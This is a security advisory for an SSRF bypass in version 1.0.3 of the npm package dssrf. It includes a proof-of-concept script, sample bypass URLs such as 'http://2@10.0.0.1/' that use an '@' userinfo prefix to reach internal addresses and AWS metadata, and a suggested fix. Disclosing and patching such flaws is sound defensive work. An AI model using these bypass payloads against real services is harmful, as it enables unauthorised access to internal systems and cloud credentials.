PT-2026-66646 · Npm · Dssrf

Publicado

2026-07-30

·

Atualizado

2026-07-30

CVSS v4.0

8.7

Alta

VetorAV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Summary

is url safe in v1.0.3 contains an SSRF bypass. remove at symbol in string is applied to the raw URL string before new URL() parses it. This strips the @ that separates userinfo from host, corrupting the hostname so internal IPs are never checked.

Vulnerability

In helpers.ts, is url safe does:
ts
u = remove at symbol in string(u);  // strips ALL '@' from the raw string
// ...
const parsed = new URL(u);
const hostname = parsed.hostname;  // resolved from the corrupted string

What happens step by step

Input: http://evil.com@127.0.0.1/
  1. remove at symbol in string → http://evil.com127.0.0.1/
  2. new URL(...) → hostname = "evil.com127.0.0.1"
  3. Not a bare IP, not IPv6 → passes all IP checks
  4. is hostname resolve to internal ip("evil.com127.0.0.1") → NXDOMAIN → returns false
  5. Result: true (safe) — but any HTTP client using the original URL connects to 127.0.0.1

Proof of Concept

js
import nock from 'nock';
import { got } from 'got';
import { is url safe } from 'dssrf';

// Simulate an internal server at 10.0.0.1 that returns secret data
nock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET DATA');

const BYPASS URL = 'http://2@10.0.0.1/';
const PLAIN URL = 'http://10.0.0.1/';

// dssrf should block both — it only blocks the plain one
console.log('--- dssrf validator ---');
console.log(`is url safe('${PLAIN URL}')  =`, await is url safe(PLAIN URL), '← correctly blocked');
console.log(`is url safe('${BYPASS URL}') =`, await is url safe(BYPASS URL), '← ⚠️ BYPASSED (should be false)');

// HTTP client with the bypass URL — gets SECRET DATA back from 10.0.0.1
console.log('
--- HTTP client ---');
try {
 const res = await got(BYPASS URL, { retry: { limit: 0 } });
 console.log(`got('${BYPASS URL}') response:`, res.body, '← ⚠️ VULNERABLE');
} catch (e) {
 console.log(`got('${BYPASS URL}') blocked:`, e.message);
}

Root Cause

@ in a URL separates userinfo (credentials) from host. Stripping it from the raw string before parsing destroys that boundary. The fix is to reject any URL that contains a userinfo component after parsing.

Suggested Fix

Remove the remove at symbol in string call from is url safe and add a userinfo check after new URL():
ts
const parsed = new URL(u);

// Reject userinfo — '@' in authority is a classic SSRF bypass vector
if (parsed.username !== "" || parsed.password !== "") {
 return false;
}
A working patch verified against 15 vectors (all internal IPv4 ranges, IMDS, IPv6 via userinfo, and legitimate public URLs) is ready to submit as a PR.

Impact

  • Affected version: 1.0.3 (latest)
  • Bypasses: all internal IPv4 ranges, IPv6 loopback/ULA/link-local, AWS IMDS (169.254.169.254), any internal hostname via userinfo prefix
  • Note: The GHSA-8p33-q827-ghj5 advisory patched version (1.0.3) should be updated since this vector was not covered by that fix
Users are strongly advised to upgrade to dssrf 1.0.4

Correção

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dbugs@ptsecurity.com

Enumeração de Fraquezas

CWE-76

Identificadores relacionados

GHSA-CG4G-M8JX-VJV2

Produtos afetados

Dssrf